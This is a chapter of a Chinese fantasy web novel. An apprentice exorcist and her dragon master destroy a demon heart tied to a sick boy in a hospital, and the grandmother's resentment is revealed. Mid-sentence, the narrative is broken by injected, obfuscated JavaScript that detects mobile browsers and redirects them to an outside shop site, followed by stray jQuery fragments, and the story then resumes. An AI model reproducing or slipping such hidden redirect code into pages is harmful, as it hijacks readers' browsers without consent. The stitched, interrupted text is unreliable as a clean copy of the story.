12.谁待八月空折枝(6)

作品:《现龙

    龙井将朱槿放下,起身揉了下自己的手臂,身体承受了巨大的冲击力,说浑身没有一点痛感那肯定是假的,他打量了下朱槿,见她没有受伤,便将目光投向四楼的窗户。


    “师父,从前你有见过常人在星盘暂停的时空下,还能正常行走或是言语的吗?”


    病床上的小孩突然开口,她停下了动作,才会让魔物有机可乘。


    说话时,朱槿又瞥了好几眼他刮伤的面庞。


    龙井:“未曾见过。”


    “啊?那怎么办?”朱槿一下没了主意。


    龙井看她那没用的样子,说:“我是龙族,又不是除魔师,没见过不很正常么?”


    朱槿松口气,那还行,指不定这情况从前就有,只是她那本破烂的除魔戒律里没记载罢了,想到这儿她又有些后悔,若是从前和外婆认真学就好了……


    耳畔传来细细的轰鸣,声音的来源便是那四楼的窗口,窗口突然飞出成千上万的黑色密丝,将整栋楼缠了起来,死死打了个结。


    不想让她进去?朱槿举起除魔棍,来硬的她也不怕。


    龙井抬手摁住她的肩:“这样的时空停顿你还能维持多久?”


    朱槿迟疑:“不知道……”


    龙井短暂沉默,衡量之下,他选择信她一次,“你如果强行破入,以你的能力,还无法通过星宿长时间让时空停滞。”


    “朱槿,我带你进入,你必须,一击即中。”


    龙井语气严厉。


    朱槿呼吸一滞,但却坚定答:“好。”


    “伏魔。”龙井补充。


    朱槿刚准备应和,倏然缄口。


    龙井侧脸看她,“怎么不说话?”


    她对上他的视线,咬了咬牙说:“师父,我不伏魔。”


    龙井瞧出她眼底闪过的恨意与不甘,平和劝诫道:“那魔心连着床上孩童的大脑,你也瞧见了,它能牵动那孩子的举止,你若贸然除魔,那孩子恐怕性命不保。”


    朱槿嘴角颤动,在隐忍,深吸一口气放松下心情后,她轻声说:“知道了。”


    龙井摁在朱槿肩膀的手轻轻拍了两下,像是在安慰她。


    朱槿微愣,又下意识松了口气,好似在庆幸他没有追问她,为何不伏魔。


    她迅速将这些多余的想法从大脑中清除,全神贯注起来。


    她答应了,就一定要做到,必须一击即中。


    “等会儿不管进去见到何种情况,你的目标,只有那颗魔心。”龙井再次交代。


    朱槿点头,龙井正准备帮她结印,就听见她说:“师父,我自己可以。”


    肩膀那些痛而已,有什么不能忍的,她将除魔棍用力掷入自己面前的土中,星宿之力从除魔棍中阵阵涌出,朱槿发丝随之飞舞,眸底的槿紫色愈发深邃,她双手启用日月印承接四方印:


    “天之南门,水之南路,天水南引,南方朱雀……”她转头看向龙井,右手握住除魔棍,念出最后一句:“水流不息。”


    龙井会意,霎时,两人消失在原地。


    四周堕入黑暗,只有那颗魔心发出幽幽光亮,那颗心脏已比初见时长了几寸。


    龙井松开朱槿肩膀,朱槿感觉到身体被无数之手抓住拖行,她被拖得向后一仰,为了摆脱困境,她用手中除魔棍向后墙一抵,借力跃起,挣脱那捆绑身体的东西,与此同时,耳畔传来无数话语,她避耳不听。


    她抬臂,将那除魔棍扔出,那棍身劈开一道光亮。


    刺破了无数抵挡的黑丝,击穿了那颗心脏。


    那颗魔心停止跳动,但不似地缝中的魔胎那次从这个世间消失,而是慢慢地,慢慢地,再次跳动起来。


    黑暗渐渐褪去,朱槿低头看向抓住自己身体的东西,是无数黑丝密线化成的手掌,手掌开始逐渐脱落坠地,烟消云散。


    朱槿转身去看龙井,她有些意外,龙井居然被黑线整个缠住,如今细线剥落,他睁开双眼,忍不住瞪她,眼神中还带了一丝丝的……埋怨?


    哎?她师父为什么不躲?


    朱槿将疑惑藏下,转回身拔出除魔棍,魔心由黑转为鲜红,宛如一颗人心,体积也逐渐缩小再缩小,直至消失不见。


    她环顾四周长吁一口气,结束了……


    只是这破了窗户,楼道内被她踢坏的安全门,以及窗外毁坏一片的树木,都无法修复了。


    朱槿走到那小孩床前,瞧着那床头的信息栏:洪雨,男,10岁。


    她又扫了眼趴在小男孩床头的女人,中年的样子,那张生了魔心的银行卡正被她捏在手中,旁侧散落了些住院账单,金额不小。


    朱槿:“师父,得走了,我快撑不住了。”


    时空松动了。


    她向门口走去,看见门口有个花盆,顺便隔着衣服从里头抓了把鹅卵石,龙井跟在她身后看着她的这些个动作。


    回到起点,朱槿做了关合结印的手势,轻念:“天之南陆,天之阳灵,八卦为离,井宿无恙,关。”


    周边的一切又承接流转起来,夏风和旭,车辆鸣笛。


    仿佛什么都没发生过。


    朱槿将除魔棍放回车里,把徒手抓的鹅卵石也扔进了车内,左臂重新戴上了护托,见她没有打道回府的意思,龙井看着她,似在询问她还要做什么?


    她冲他一笑:“师父跟我来。”


    龙井扬眉,倒也跟着去了。


    两人重新进入医院,朱槿走得大摇大摆的。


    龙井算是明白了,方才下楼的时候,朱槿用抓的鹅卵石将途径的监控挨个击碎,怕留下证据,又将鹅卵石捡了回来扔进自己车里。


    到了洪雨病房那层,一堆人围在那里看热闹,议论身首异处的安全门和病房里破碎的窗户。


    朱槿混迹人群,凑到病房门口。


    里头本来趴着的中年女人,此刻正气得发疯,颐指气使道:“我孙子要是有个三长两短,你们医院要给我个说法!”


    “一天在你们医院花个两三万,现在就这个待遇嘛?!啊?!玻璃赶紧喊人来给我扫了!”


    “都是什么货色,你们医院怕不是骗钱来的吧!”


    那中年女人说话难听,护士们虽然看不惯她,也拿她没辙。


    有个护士眼睛红红的从朱槿身侧跑出,嘴里嘀咕:“天天这样,关我什么事……”看来没少受冤枉气。


    中年女人拿着手中账单,骂骂咧咧走出来:“交钱交钱,天天就知道喊我交钱!”


    周围人散了,朱槿坐在走廊的椅子上扶着自己的左手,假装自己是休息的病患,等那中年女人交完钱回来,朱槿背贴着墙壁,听她在病床前拿着银行卡对着病床上昏迷的孩子念叨起来。


    “又花了两万,你说说你妈妈挣个钱容易么……”


    “哎……我那苦命的女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575810|142908||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    儿,生下你这么个东西,连你爸是谁都不知道!”


    “为了给你治病,这钱挣得也不干净,天天做那些个龌龊事情……”


    “左邻右舍都说她在酒吧当小姐,我这老脸都不知道往哪里搁!”


    朱槿垂眸,洪淑的母亲素质不高,不会使用网银,天天拿着银行卡交钱,所有的抱怨都对着床上的孩子和那些来路不明的钱。


    朱槿伏魔接近那魔心的时候,耳旁传来的话语,就是这银行卡天天听见的。


    它只是一张银行卡,存了孩子的救命钱。


    它也不知道自己为什么肮脏不干净,但是听久了,就变了。


    朱槿叹气起身,她左右看下,龙井没跟在她身边,往前看才发现龙井一直靠在护士台注视着她。


    朱槿小步上前,对着龙井一笑:“走吧。”


    出了院门,外头一阵凉爽的夏风,吹得朱槿心情舒畅。


    “师父,这风是你召来的吗?”朱槿笑着问他。


    龙井平静答:“并非所有风雨,皆是龙族召唤。”


    朱槿扶着自己左手,大幅度运动后,左肩连带着左臂隐隐作痛:“嘶……”


    龙井扫她一眼:“爱逞强,就受着。”


    朱槿撇嘴,转瞬她又好奇问:“师父,你会除魔八印么?”


    “不会。”


    “那……龙神印这么厉害,我能不能学学?”


    “现在你学不了。”


    “为什么?”


    龙井停下步伐,朱槿也随之停下。


    两人视线相交,龙井微微弯腰,凑近她些,从她神情中辨别她是真想学,还是说的玩玩。


    朱槿义正词严:“我没在开玩笑,我是真想学。”


    “好,但不是现在。”龙井也算是答应了她。


    绕过朱槿,龙井独自走到前面,朱槿跟上去:“师父,你还没回答我为什么现在学不了呢?”


    “这世间哪有这么多为什么。”


    “别人没有我有呀,我有很多为什么,你不说,我今晚怎么睡得着觉呀!”


    “那你别睡,正好修习。”


    到这份儿了,朱槿知道龙井是肯定不会跟她说的。


    回到车前,龙井和朱槿自觉向着驾驶座和副驾驶座走去。


    龙井正准备开门,朱槿喊他:“师父。”


    他抬头,隔着车顶看她,发觉她耷拉着脑袋,瞧不明神色。


    朱槿手指戳了戳副驾驶的门把手,须臾迎上他的目光,她有些抱歉扯了个笑,说道:“是不是因为我能力不够,所以你才会……”


    再三叮嘱她务必一击即中……


    被魔物困住也只是默默承受……


    他与她相连,她弱他也弱。


    他若使用强大的龙族术法,她的力量便无法支撑,这一切就说得通了,因为机会仅此一次。


    龙井望着她苦笑的模样,坦然:“你知道就行。”


    朱槿一下子泄了气。


    他打开车门,瞧她那垂头丧气的样,语气比往常温和些:“累死了,回家。”


    说完这话,他就坐了进去,启动了车子。


    朱槿呆愣愣的,明明生死攸关的,就这么轻飘飘过去了?


    没有生气,也没责怪她。


    龙井见她不动,摁下车窗:“赶紧上车。”


    朱槿一笑,心中动容:“遵命!”